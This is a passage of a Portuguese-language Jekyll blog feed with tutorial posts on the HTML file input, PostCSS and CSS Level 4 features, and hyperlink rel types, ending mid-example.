&lt;p&gt;Fetch ainda &lt;a href=&quot;http://caniuse.com/shadowdom/embed&quot;&gt;não tem suporte em 100% dos browsers&lt;/a&gt; mas você pode &lt;a href=&quot;https://github.com/github/fetch&quot;&gt;usar um polyfill&lt;/a&gt; feito pelo pessoal do github.&lt;/p&gt;

&lt;p&gt;O intuito desse post foi mostrar o básico se você deseja saber ainda mais recomendo a leitura &lt;a href=&quot;https://jakearchibald.com/2015/thats-so-fetch&quot;&gt;desse&lt;/a&gt; posts que vale muito a pena.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>O elemento input[type=”file”]</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2016/elemento-input-file.html"/>
   <updated>2016-03-14T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2016/elemento-input-file</id>
   <content type="html">&lt;p&gt;Quando seus usuários precisam fazer upload de alguma coisa no seu sistema, é a ele que você recorre.&lt;/p&gt;

&lt;h3 id=&quot;o-básico&quot;&gt;O básico&lt;/h3&gt;

&lt;p&gt;O elemento é bem simples:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;file&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Mas se você quer o mínimo de acessibilidade vai precisar adicionar mais um pouco de html:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;post&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;formenctype=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;multipart/form-data&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;label&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;for=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;upload&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt; Upload your picture: &lt;span class=&quot;nt&quot;&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;file&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;upload&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;upload&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Como o input &lt;em&gt;radio&lt;/em&gt; e outros tipos de inputs do HTML, o estilo desse input é definido pelo browser.&lt;/p&gt;

&lt;h3 id=&quot;limitações&quot;&gt;Limitações&lt;/h3&gt;

&lt;p&gt;Você pode limitar as opções do usuário setando diferentes &lt;em&gt;MIME type&lt;/em&gt; no atributo accept, você também pode usar o “*” para permitir arquivos de um tipo em particular.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;file&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;accept=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;image/*&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;upload&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;upload&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;IOS suporta o “*” mas não suporta arquivos específicos como por exemplo image/png.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Tudo que não for um arquivo do tipo imagem vai ser ignorado ou nem aparecera quando o dialog para escolher os arquivos abrir.&lt;/p&gt;

&lt;p&gt;Você também pode aceitar múltiplos arquivos utilizando o atributo booleano multiple.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;file&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;multiple&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;accept=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;image/*&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;upload&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;upload&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;customização&quot;&gt;Customização&lt;/h3&gt;

&lt;p&gt;Por padrão o elemento não é naaada customizável, mas como tudo nessa vida existe um workaround:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Com javascript:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Com JS você pode fazer coisas bem legais como preview da imagem que o usuário está subindo ou até mostrar quanto falta para o upload acabar &lt;a href=&quot;http://www.html5rocks.com/en/tutorials/file/dndfiles/&quot;&gt;e muito mais.&lt;/a&gt;&lt;/p&gt;

&lt;iframe height=&quot;300&quot; style=&quot;width: 100%;&quot; scrolling=&quot;no&quot; title=&quot;File Input Alternative&quot; src=&quot;https://codepen.io/dudleystorey/embed/preview/KdybXW?default-tab=result&quot; frameborder=&quot;no&quot; loading=&quot;lazy&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot;&gt;
  See the Pen &lt;a href=&quot;https://codepen.io/dudleystorey/pen/KdybXW&quot;&gt;
  File Input Alternative&lt;/a&gt; by Dudley Storey (&lt;a href=&quot;https://codepen.io/dudleystorey&quot;&gt;@dudleystorey&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.
&lt;/iframe&gt;

&lt;p&gt;&lt;strong&gt;Com CSS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Para estilizar com &lt;strong&gt;CSS&lt;/strong&gt; é quase a mesma coisa que acontece com &lt;strong&gt;radio&lt;/strong&gt; e &lt;strong&gt;checkbox&lt;/strong&gt; você esconde o elemento em si e faz todo o estilo com a label.&lt;/p&gt;

&lt;iframe height=&quot;300&quot; style=&quot;width: 100%;&quot; scrolling=&quot;no&quot; title=&quot;Custom input file&quot; src=&quot;https://codepen.io/filipelinhares/embed/preview/ONRQYR?default-tab=result&quot; frameborder=&quot;no&quot; loading=&quot;lazy&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot;&gt;
  See the Pen &lt;a href=&quot;https://codepen.io/filipelinhares/pen/ONRQYR&quot;&gt;
  Custom input file&lt;/a&gt; by Filipe Linhares (&lt;a href=&quot;https://codepen.io/filipelinhares&quot;&gt;@filipelinhares&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.
&lt;/iframe&gt;

&lt;p&gt;Lembrando que tudo isso é muito legal mas não se esqueça da acessibilidade. Todos devem ter acesso as informações do seu site independente das limitações ❤&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>PostCSS e algumas novidades do CSS</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2016/postcss-e-algumas-novidades-do-css.html"/>
   <updated>2016-03-06T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2016/postcss-e-algumas-novidades-do-css</id>
   <content type="html">&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/2560/1*cXsgUPsVC1xnXopcWHyfBQ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Depois do surgimento de pré-processadores como SASS e Less ganhamos uma quantidade imensa de coisas para melhorar a forma como escrevemos “CSS”. Mas como aconteceu com o JS depois do surgimento de várias lib e frameworks, temos algumas novidades nativas do CSS e você pode usar isso e mais um infinidade de plugins com PostCSS.&lt;/p&gt;

&lt;h3 id=&quot;css-level-4&quot;&gt;CSS level 4&lt;/h3&gt;

&lt;p&gt;CSS vem com algumas novidades, ainda está em working draft mas o PostCSS ta ai pra ajudar ❤.&lt;/p&gt;

&lt;h4 id=&quot;parent-selector&quot;&gt;Parent selector&lt;/h4&gt;

&lt;p&gt;Agora você pode selecionar um elemento pai baseado no seu filho.&lt;/p&gt;

&lt;div class=&quot;language-css highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;div&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;.lorem&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c&quot;&gt;/* seleciona a div que é pai do .lorem */&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/2000/1*VpwzRPk2aitEdJ6LpfAs9g.gif&quot; alt=&quot;Pera que tem mais&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;matches--plugin--spec&quot;&gt;:matches() — &lt;a href=&quot;https://github.com/postcss/postcss-selector-matches&quot;&gt;plugin&lt;/a&gt; — &lt;a href=&quot;https://drafts.csswg.org/selectors-4/#matches&quot;&gt;spec&lt;/a&gt;&lt;/h4&gt;

&lt;p&gt;Seleciona elementos em uma lista de argumentos:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* Old way */
p:first-child, p.special {
  color: red;
}

/* Com :matches */
p:matches(:first-child, .special) {
  color: red;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;not--plugin--spec&quot;&gt;:not() — &lt;a href=&quot;https://github.com/postcss/postcss-selector-not&quot;&gt;plugin&lt;/a&gt; — &lt;a href=&quot;https://drafts.csswg.org/selectors-4/#negation&quot;&gt;spec&lt;/a&gt;&lt;/h4&gt;

&lt;p&gt;Você já conheceu esse seletor do CSS3 mas a diferença dele agora é que você pode passar uma lista de seletores ao invés de somente um:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* Old way */
p**:not**(:first-child), p**:not**(.special) {
  color: red;
}

/* With selector list */
**:not**(:first-child, .special) {
  color: red;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;has--spec&quot;&gt;:has() — &lt;a href=&quot;https://drafts.csswg.org/selectors-4/#relational&quot;&gt;spec&lt;/a&gt;&lt;/h4&gt;

&lt;p&gt;Seleciona o elemento baseado na condicional passada como argumento:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* Seleciona somente elementos &amp;lt;a&amp;gt; que contenham uma imagem dentro*/
a**:has**(&amp;gt; img)

/* Seleciona a &amp;lt;section&amp;gt; que não contem heading dentro */
section**:not**(**:has**(h1, h2, h3, h4, h5, h6))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;dir--spec&quot;&gt;:dir() — &lt;a href=&quot;https://drafts.csswg.org/selectors-4/#the-dir-pseudo&quot;&gt;spec&lt;/a&gt;&lt;/h4&gt;

&lt;p&gt;Seleciona elemento baseado na direção da linguagem:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;p:dir(ltr) {}
p:dir(rtl) {}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;lang--spec&quot;&gt;:lang() — &lt;a href=&quot;https://drafts.csswg.org/selectors-4/#the-lang-pseudo&quot;&gt;spec&lt;/a&gt;&lt;/h4&gt;

&lt;p&gt;Seleciona o elemento baseado do atributo &lt;em&gt;lang:&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;p**:lang**(pt-br) {}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;custom-selectors--spec--plugin&quot;&gt;Custom selectors — &lt;a href=&quot;https://drafts.csswg.org/css-extensions/#custom-selectors&quot;&gt;spec&lt;/a&gt; — &lt;a href=&quot;https://github.com/postcss/postcss-custom-selectors&quot;&gt;plugin&lt;/a&gt;&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@**custom-selector** :--button button, .button;
@**custom-selector** :--enter :hover, :focus;

:--button {}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;inputs-pseudo-classes--spec&quot;&gt;Inputs pseudo-classes — &lt;a href=&quot;https://drafts.csswg.org/selectors-4/#input-pseudos&quot;&gt;spec&lt;/a&gt;&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* Field is enabled */
input[type=&quot;text&quot;]**:enabled** {}

/* Field is disabled */
input[type=&quot;text&quot;]**:disabled** {}

/* Field is read-only */
input[type=&quot;text&quot;]**:read-only** {}

/* Field is showing the placeholder attr text */
input[type=&quot;text&quot;]**:placeholder-show** {}

/* Field is checked */
input[type=&quot;radio&quot;]**:checked** {}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;media-queries--spec&quot;&gt;Media queries — &lt;a href=&quot;https://drafts.csswg.org/mediaqueries/&quot;&gt;spec&lt;/a&gt;&lt;/h4&gt;

&lt;p&gt;Tem várias coisas novas sobre media queries no CSS e você pode encontrar tudo &lt;a href=&quot;https://drafts.csswg.org/mediaqueries/&quot;&gt;aqui&lt;/a&gt;:&lt;/p&gt;

&lt;h4 id=&quot;resolution&quot;&gt;Resolution&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@**media** (resolution &amp;gt;= 2dppx)

@**media** print and (min-resolution: 300dpi) { }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;range--spec--plugin&quot;&gt;Range — &lt;a href=&quot;https://drafts.csswg.org/mediaqueries/#mq-ranges&quot;&gt;spec&lt;/a&gt; — &lt;a href=&quot;https://github.com/postcss/postcss-media-minmax&quot;&gt;plugin&lt;/a&gt;&lt;/h4&gt;

&lt;p&gt;Permite substituir &lt;em&gt;min-/max-&lt;/em&gt; com &lt;em&gt;&amp;lt;= &amp;amp; &amp;gt;=:&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* Old way */
@**media** (min-width: 500px) and (max-width: 1200px) { }

/* Using range  */
@**media** (width **&amp;gt;=** 500px) and (width **&amp;lt;=** 1200px) { }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;custom-media-queries--spec--plugin&quot;&gt;Custom media queries — &lt;a href=&quot;https://drafts.csswg.org/mediaqueries/#custom-mq&quot;&gt;spec&lt;/a&gt; — &lt;a href=&quot;https://github.com/postcss/postcss-custom-media&quot;&gt;plugin&lt;/a&gt;&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@**custom-media** --small-viewport (max-width: 30em);
/* check out media queries ranges for a better syntax */

@**media** (--small-viewport) { }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Tem coisa legal pra caramba aqui que eu mostrei mas tem mais coisa ainda que você pode encontrar aqui:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;http://cssnext.io/features/&quot;&gt;cssnext/features&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://drafts.csswg.org/css-extensions/&quot;&gt;https://drafts.csswg.org/css-extensions&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://drafts.csswg.org/mediaqueries/&quot;&gt;https://drafts.csswg.org/mediaqueries&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://drafts.csswg.org/selectors-4/&quot;&gt;https://drafts.csswg.org/selectors-4&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;postcss&quot;&gt;PostCSS&lt;/h3&gt;

&lt;p&gt;É uma ferramenta para pré-processar seu CSS com plugins JS. O PostCSS por si só não faz muita coisa. O que ele faz é prover um parser CSS e um framework para criar plugins.&lt;/p&gt;

&lt;p&gt;Com PostCSS você pode instalar cada plugins separadamente, você pode escrever seus própios plugins e também como &lt;em&gt;polyfill&lt;/em&gt; de novas features do CSS. Hoje &lt;a href=&quot;http://postcss.parts/&quot;&gt;são mais de 200 plugins&lt;/a&gt; e tem para todos os gostos.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Nesse post iremos cobrir como utilizar os plugins do PostCSS se você deseja saber como criar novos ou editar algum existente recomendo a leitura da &lt;a href=&quot;https://github.com/postcss/postcss/tree/master/docs&quot;&gt;documentação&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Para mostrar como PostCSS pode ser flexível, vamos olhar esses dois plugins:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/jonathantneal/precss&quot;&gt;&lt;strong&gt;jonathantneal/precss&lt;/strong&gt;&lt;/a&gt; - Use Sass-like markup in your CSS&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/MoOx/postcss-cssnext&quot;&gt;&lt;strong&gt;MoOx/postcss-cssnext&lt;/strong&gt;&lt;/a&gt; - PostCSS plugin to use tomorrow’s CSS syntax, today.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ambos foram feitos com o PostCSS e ambos tem a sintaxe completamente diferente.&lt;/p&gt;

&lt;p&gt;O primeiro, &lt;em&gt;precss&lt;/em&gt; permite você usar uma sintaxe parecida com a do SASS (variáveis, nesting, etc) no seu arquivo CSS.&lt;/p&gt;

&lt;p&gt;Já o &lt;em&gt;cssnext&lt;/em&gt; tem uma série de polyfills para podermos usar as novas features do CSS hoje (tipo um &lt;a href=&quot;http://babeljs.io/&quot;&gt;Babel&lt;/a&gt; para CSS).&lt;/p&gt;

&lt;h3 id=&quot;instalando-postcss&quot;&gt;Instalando PostCSS&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ npm install -g postcss-cli
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;usando-o-postcss&quot;&gt;Usando o PostCSS&lt;/h3&gt;

&lt;p&gt;Nesse post eu vou mostrar como você pode usar um plugins fantásticos que facilitam muito a vida quando você está desenvolvendo.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Autoprefixer com PostCSS cli&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Se você não conhece &lt;a href=&quot;https://github.com/postcss/autoprefixer&quot;&gt;Autoprefixer&lt;/a&gt;, corre lá que ta tarde.&lt;/p&gt;

&lt;p&gt;Vamos criar um arquivo chamado &lt;em&gt;index.css&lt;/em&gt; e dentro dele vamos colocar o seguinte código:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* index.css */

.container {
  display: flex;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Agora vamos instalar o autoprefixer:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ npm install -g autoprefixer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Precisamos de uma pasta que é onde o nosso código processado sera salvo:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ mkdir dist
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;E agora é só rodar o PostCSS:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ postcss -u autoprefixer styles.css -d dist
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;O que fizemos acima é dizer para o PostCSS rodar utilizando (&lt;em&gt;-u&lt;/em&gt;) o plugin Autoprefixer e o destino (&lt;em&gt;-d&lt;/em&gt;) do nosso código compilado é a pasta &lt;em&gt;dist.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Se você abrir o arquivo gerado &lt;em&gt;dist/index.css&lt;/em&gt; você vai ver o seguinte:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.container {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Como você pode ver o Autoprefixer colocou todos os prefixos de browsers para a gente sem nenhum esforço, e ao contrário dos outros prefixers que ficavam desatualizado facilmente o Autoprefixer utiliza dados do &lt;a href=&quot;http://caniuse.com/&quot;&gt;caniuse.com&lt;/a&gt; para sempre adicionar somente os prefixos necessários.&lt;/p&gt;

&lt;p&gt;Não para por ai, você pode usar PostCSS com qualquer task runner que temos hoje como o &lt;a href=&quot;https://github.com/nDmitry/grunt-postcss&quot;&gt;Grunt&lt;/a&gt;, &lt;a href=&quot;https://github.com/postcss/gulp-postcss&quot;&gt;Gulp&lt;/a&gt;, &lt;a href=&quot;https://github.com/jeffjewiss/broccoli-postcss&quot;&gt;Brocolli&lt;/a&gt; ou &lt;a href=&quot;https://github.com/postcss/fly-postcss&quot;&gt;Fly&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Vale muito a pena “perder” um tempo dando uma olhada nos plugins do PostCSS pode ser muito útil para o seu projeto.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Tipos de hyperlinks</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2016/tipos-de-hyperlinks.html"/>
   <updated>2016-02-26T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2016/tipos-de-hyperlinks</id>
   <content type="html">&lt;p&gt;Hyperlinks são um dos elementos mais básicos que existem, se você trabalha com web provavelmente você vê eles todo santo dia. Desde quando foram criados eles tem o mesmo objetivo, ligarem uma página.&lt;/p&gt;

&lt;p&gt;Mas uma coisa que talvez você não saiba é que existem diferentes tipos de hyperlinks que podem ser usados para melhorarem a semântica, acessibilidade entre outras coisas na sua página.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Um guia dos diferentes tipos de links.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Tipos de links são bons para descrever a relação entre duas ou mais páginas e também podem expressar a razão de porque certos links estão na página.&lt;/p&gt;

&lt;p&gt;Definir tipos de links também ajuda no SEO, já que os motores de busca podem usar essa informação para melhor entender o conteúdo do seu site.&lt;/p&gt;

&lt;p&gt;Outras ferramentas online como redes sociais ou tradutores aproveitam sempre que você adiciona certos tipos de links.&lt;/p&gt;

&lt;h3 id=&quot;como-utilizar-os-diferentes-tipos-de-links&quot;&gt;Como utilizar os diferentes tipos de links?&lt;/h3&gt;

&lt;p&gt;Para adicionar basta utilizar o atributo &lt;em&gt;rel&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Abaixo um exemplo de como usar o &lt;em&gt;nofollow&lt;/em&gt; .&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;a rel=&quot;nofollow&quot; href=&quot;http://amzn.to/1JunkLD&quot;&amp;gt;
  Buy me a Macbook Pro
&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;adicionando-múltiplos-tipos-de-links&quot;&gt;Adicionando múltiplos tipos de links&lt;/h3&gt;

&lt;p&gt;Você pode usar vários tipos, basta separá-los com espaço.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;a rel=&quot;nofollow noreferrer&quot; href=&quot;http://amzn.to/1JunkLD&quot;&amp;gt;
  Buy me a Macbook Pro
&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;os-tipos-de-hiperlinks&quot;&gt;Os tipos de hiperlinks&lt;/h2&gt;

&lt;h3 id=&quot;alternate&quot;&gt;Alternate&lt;/h3&gt;

&lt;p&gt;O alternate aponta para uma outra forma de ver a página.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Linkando para outros formatos de arquivos.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Você pode ter a página da web em outro formato. Como um PDF ou uma página impressa.&lt;/p&gt;

&lt;p&gt;No código abaixo, os dois links vão para uma página alternativa do site principal. O primeiro vai para um PDF e o outro faz o download de um arquivo .zip com o PDF.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;!-- O conteúdo em PDF --&amp;gt;
&amp;lt;a rel=&quot;alternate&quot; type=&quot;application/pdf&quot; href=&quot;this-page.pdf&quot;&amp;gt;
  PDF version
&amp;lt;/a&amp;gt;

&amp;lt;!-- O link para download --&amp;gt;
&amp;lt;a rel=&quot;alternate&quot; type=&quot;application/zip&quot; href=&quot;this-page.zip&quot; download&amp;gt;
  Download this web page
